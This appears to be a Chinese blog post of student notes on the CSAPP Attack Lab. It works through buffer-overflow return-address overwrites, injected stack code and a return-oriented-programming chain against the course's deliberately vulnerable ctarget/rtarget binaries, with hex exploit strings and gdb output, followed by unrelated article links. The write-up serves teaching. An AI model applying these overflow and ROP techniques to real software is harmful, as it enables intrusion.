【CSAPP】Attack Lab实验笔记
attacklab这节玩的是利用一个字符串进行缓冲区溢出漏洞攻击,就小时候想象中黑客干的事儿.
做题的时候好几次感叹这些人的脑洞,"这都可以攻击?还能这么注入?这还可能借力打力?"等自己注入的时候却是"啊?怎么又段错误了?怎么又算错地址了?"也是一次有趣的经历了.
小插曲:我拿到文件的时候直接去读得readme,看完了还迷惑这readme咋就这么点信息.后来知道了实验都要配合着writeup讲义看,不禁感叹我前两个实验没看讲义还能做出来真是个奇迹!
level1
第一步先反汇编拿到ctarget的代码
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
在0x4017b9打个断点,这时候创建了内容为This is a test str.的文本文件in.txt,在gdb里用set args -qi in.txt指定为输入源.让程序运行到断点,查看栈帧信息
(gdb) x/60xb 0x5561dc78
0x5561dc78: 0x54 0x68 0x69 0x73 0x20 0x69 0x73 0x20
0x5561dc80: 0x61 0x20 0x74 0x65 0x73 0x74 0x20 0x73
0x5561dc88: 0x74 0x72 0x2e 0x00 0x00 0x00 0x00 0x00
0x5561dc90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dc98: 0x00 0x60 0x58 0x55 0x00 0x00 0x00 0x00
0x5561dca0: 0x76 0x19 0x40 0x00 0x00 0x00 0x00 0x00
0x5561dca8: 0x09 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x5561dcb0: 0x24 0x1f 0x40 0x00
(gdb) x/s 0x5561dc78
0x5561dc78: "This is a test str."
这里面的0x76 0x19 0x40对应的就是返回地址,我们的目标就是把它修改为touch1入口的地址0x004017c0.换成机器码就是0xc0 0x17 0x40 0x00,注意是倒序哦.
从栈顶到要修改区域之间我用0x54(ASCII中的'T')填充之.我创建了一个exploit.txt,内容为
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
54 54 54 54 54 54 54 54
c0 17 40 00 00 00 00
不要拘泥于后面那几个零.讲义里说了,多覆写几个字节不碍事
把这个文件交给hex2raw处理之
./hex2raw < exploit.txt > raw.txt
我用VSCode的hexdump插件检查了下正确性,然后把它丢进了ctarget里,测试之,正确.
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:54 54 ..... 54 C0 17 40 00 00 00 00
level 2
先来分析touch2的代码
void touch2(unsigned val)
{
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}
else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
很明显需要把cookie作为参数调用touch2,即先把cookie放入rdi,再ret.这里可把我卡住了,ret只能改rip,怎么改rdi呢?
热心网友的一句话点醒了我:先在栈帧里写好代码,再ret到栈帧的位置
我们要做的事情可以概括为
执行retq到栈帧顶
执行以下汇编代码:
mov cookie,%rdi
pushq touch2
retq
具体操作:
先在ex.s里写好汇编代码
movq $0x59b997fa,%rdi
pushq $0x4017ec
retq
先编译,再反汇编得到机器码
gcc -c ex.s
objdump -d ex.o > ex_dump.txt
ex_dump.txt:
ex.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3
gdb调试得读入字符串时栈顶地址为0x5561dc78,根据这个地址和ex_dump.txt编写exploit.txt
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
生成raw文件,测试,通过
./hex2raw < exploit.txt > raw.txt
./ctarget -qi raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68
EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
level 3
先来看讲义里的代码
/*Compare string to hex represention of unsigned value*/
int hexmatch(unsigned val, char*sval)
{
char cbuf[110];
/*Make position of check string unpredictable*/
char*s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char*sval)
{
vlevel = 3;
/*Part of validation protocol*/
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
}
else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
这一次我们要传入的参数是cookie对应的十六进制字符串,有趣的一点是为了防止我们直接获取s值当作参数,它加了一个random()运算.
有了第二关的经验,这关就很简单了,先仿照hexmatch求出cookie对应的十六进制字符串35 39 62 39 39 37 66 61 0,然后把它塞到栈里,再把这个地址塞进rdi里.这里我把它塞到了0x5561dca8
ex.s:
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq
exploit.txt:
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
注意最终生成的raw文件里要避免中途出现0X0A.
再来说我为什么要取0x5561dca8,因为按我的汇编代码执行到touch3的时候栈顶会变成0x5561dca8,如果在小于此地址的地方写数据在执行touch3的时候会被新压入栈的数据覆写掉
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68
FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39
62 39 39 37 66 61 00
level 4
初见fram.c的长度,我--傻--了.但冷静下来寻思,这个问题还是不难的.我们的目标可以概括为
movq $cookie,%rdi
ret touch2
而我们能用的语句只有pop,mov,nop这几种.所以要么直接把cookie传入rdi,要么借助pop间接传入rdi,即
popq %reg1
movq %reg1,%reg2
movq %reg2,%reg3
......
movq %regN,%rdi
ret touchw
借助讲义里的表格一番搜寻后发现能用的只有以下几个指令
这里只统计了movq,没统计普通mov
movq %rax,%rdi
movq %rsp,%rax
popq %rax
答案就出来了
popq rax => movq rax,rdi
剩下的就是手工算偏移,转换成十六进制了
exploit.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
00
需要注意的一点是带q的操作数都是8字节的
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97
B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00
00 00
level 5
这一关就是体力活了,如讲义里所讲,这关并没有出现啥新机制,只是复杂版的level 4,不做也行.
随机栈虽然厉害,但只要通过ROP拿到了%rsp,照样是能被破解的.而上一关我们就提到了movq %rsp,%rax,在加上还有个lea (%rdi,%rsi,1),%rax,以及三十多个mov,所以解题思路就很明显了.
可这mov是三十多个啊!要一个个先转换出来再寻找通路,真就码农呗!我也就懒得做了.
【CSAPP】Attack Lab实验笔记的更多相关文章
- 【CSAPP】Shell Lab 实验笔记
shlab这节是要求写个支持任务(job)功能的简易shell,主要考察了linux信号机制的相关内容.难度上如果熟读了<CSAPP>的"异常控制流"一章,应该是可以不 ...
- 【CSAPP】Cache Lab 实验笔记
cachelab这节先让你实现个高速缓存模拟器,再在此基础上对矩阵转置函数进行优化,降低高速缓存不命中次数.我的感受如上一节,实在是不想研究这些犄角旮旯的优化策略了. 前期准备 我实验的时候用到了va ...
- 【CSAPP】Performance Lab 实验笔记
perflab这节的任务是利用书中知识,来对图像处理中的Rotate和Smooth操作函数进行优化.这次没对上电波,觉得学了一堆屠龙之技.于我个人理解,现在计算机配置比以前高多了,连SWAP分区都几近 ...
- 【CSAPP】Architecture Lab 实验笔记
archlab属于第四章的内容.这章讲了处理器体系结构,就CPU是怎样构成的.看到时候跃跃欲试,以为最后实验是真要去造个CPU,配套资料也是一如既往的豪华,合计四十多页的参考手册,一大包的源码和测试程 ...
- 【CSAPP】Bomb Lab实验笔记
bomblab这节搞的是二进制拆弹,可以通俗理解为利用反汇编知识找出程序的六个解锁密码. 早就听闻BOMBLAB的大名,再加上我一直觉得反汇编是个很艰难的工作,开工前我做好了打BOSS心理准备.实际上 ...
- 【CSAPP】Data Lab实验笔记
前天讲到要刚CSAPP,这一刚就是两天半.CSAPP果然够爽,自带完整的说明文档,评判程序,辅助程序.样例直接百万组走起,管饱! datalab讲的是整数和浮点数怎么用二进制表示的,考验的是用基本只用 ...
- ChCore Lab3 用户进程和异常处理 实验笔记
本文为上海交大 ipads 研究所陈海波老师等人所著的<现代操作系统:原理与实现>的课程实验(LAB)的学习笔记的第三篇:用户进程与异常处理.所有章节的笔记可在此处查看:chcore | ...
- CSAPP buffer lab记录——IA32版本
CSAPP buffer lab为深入理解计算机系统(原书第二版)的配套的缓冲区溢出实验,该实验要求利用缓冲区溢出的原理解决5个难度递增的问题,分别为smoke(level 0).fizz(level ...
- CSAPP Bomb Lab记录
记录关于CSAPP 二进制炸弹实验过程 (CSAPP配套教学网站Bomb Lab自学版本,实验地址:http://csapp.cs.cmu.edu/2e/labs.html) (个人体验:对x86汇编 ...
随机推荐
- 使用Pycharm获取Resources目录里的内容
def get_resource_path(path: str) -> str: """\ 获取Resources目录里的资源 :param path: :retu ...
- 什么是IOC?
IoC是什么 Ioc-Inversion of Control,即"控制反转",不是什么技术,而是一种设计思想.在Java开发中,Ioc意味着将你设计好的对象交给容器控制,而不是传 ...
- 学习SVN02
代码发布方案: 1,安装,优化 软件环境,(nginx,lvs) <-------运维工程师 2,程序代码(不断更新). <--------开发工程师,(开发,运维都可以发布) 3, ...
- '\ddd'转义字符与八进制转换
所有的ASCII码都可以用"\"加数字(一般是8进制数字)来表示.而C中定义了一些字母前加"\"来表示常见的那些不能显示的ASCII字符,如\0,\t,\n等, ...
- canvas元素内容生成图像文件
准备工作 想要将canvas元素当前显示的内容生成为图像文件,我们首先要获取canvas中的数据,在HTML5 <canvas>元素的标准中提供了toDataURL()的方法可以将canv ...
- python大佬养成计划----基于flask_sqlalchemy的网页显示数据库信息
网页显示数据库信息 使用我们刚学习的flask_sqlalchemy,在网页中显示数据库表中的数据.在开始运行程序前,确保数据库中执行过创建表和创建用户的操作,详见链接描述. # 模板文件templa ...
- 使用Egret插件压缩代码包体积,减少请求数量的实战教程
在白鹭引擎发布了5.2.7版本中新增加了命令行,增加自动合图插件TextureMergerPlugin功能.今天,我们以一个EUI案例来展示自动合图插件的具体使用方法和注意事项. 此外,我们在本文还融 ...
- nodejs 实现 磁力链接资源搜索 BT磁力链接爬虫
项目简介 前端站点 项目效果预览 http://findcl.com 使用 nodejs 实现磁力链接爬虫 磁力链接解析成 torrent种子信息,保存到数据库,利用 Elasticsearch 实现 ...
- ASP.NET WebAPI解决跨域问题
跨域是个很蛋疼的问题...随笔记录一下... 一.安装nuget包:Microsoft.AspNet.WebApi.Core 二.在Application_Start方法中启用跨域 1 protect ...
- Python使用逻辑回归估算OR值
第一种是统计学方法,需要用到 statsmodels包 statsmodels是统计和计量经济学的package,包含了用于参数评估和统计测试的实用工具 第二种是机器学习,需要使用sklearn中的L ...